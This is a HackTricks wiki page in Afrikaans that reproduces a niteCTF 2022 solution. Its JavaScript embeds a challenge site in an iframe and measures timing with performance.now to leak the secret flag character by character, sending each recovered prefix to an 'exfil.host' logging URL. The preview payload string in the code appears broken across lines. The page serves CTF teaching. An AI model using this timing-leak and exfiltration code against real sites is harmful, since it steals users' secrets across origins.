# performance.now voorbeeld
{% hint style="success" %}
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* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
**Voorbeeld geneem van [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
```javascript
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
async function check(flag) {
let w = frame.contentWindow;
w.postMessage({'op': 'preview', 'payload': '![]()
'}, '*');
await sleep(1);
w.postMessage({'op': 'search', 'payload': flag}, '*');
let t1 = performance.now();
await sleep(1);
return (performance.now() - t1) > 200;
}
async function main() {
let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}';
window.frame = document.createElement('iframe');
frame.width = '100%';
frame.height = '700px';
frame.src = 'https://challenge.jsapi.tech/';
document.body.appendChild(frame);
await sleep(1000);
let flag = 'nite{';
while(1) {
for(let c of alpha) {
let result = await Promise.race([
check(flag + c),
new Promise((res) => setTimeout(() => { res(true); }, 300))
]);
console.log(flag + c, result);
if(result) {
flag += c;
break;
}
}
new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
}
}
document.addEventListener('DOMContentLoaded', main);
```
{% hint style="success" %}
Leer & oefen AWS Hacking:[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Leer & oefen GCP Hacking: [**HackTricks Opleiding GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}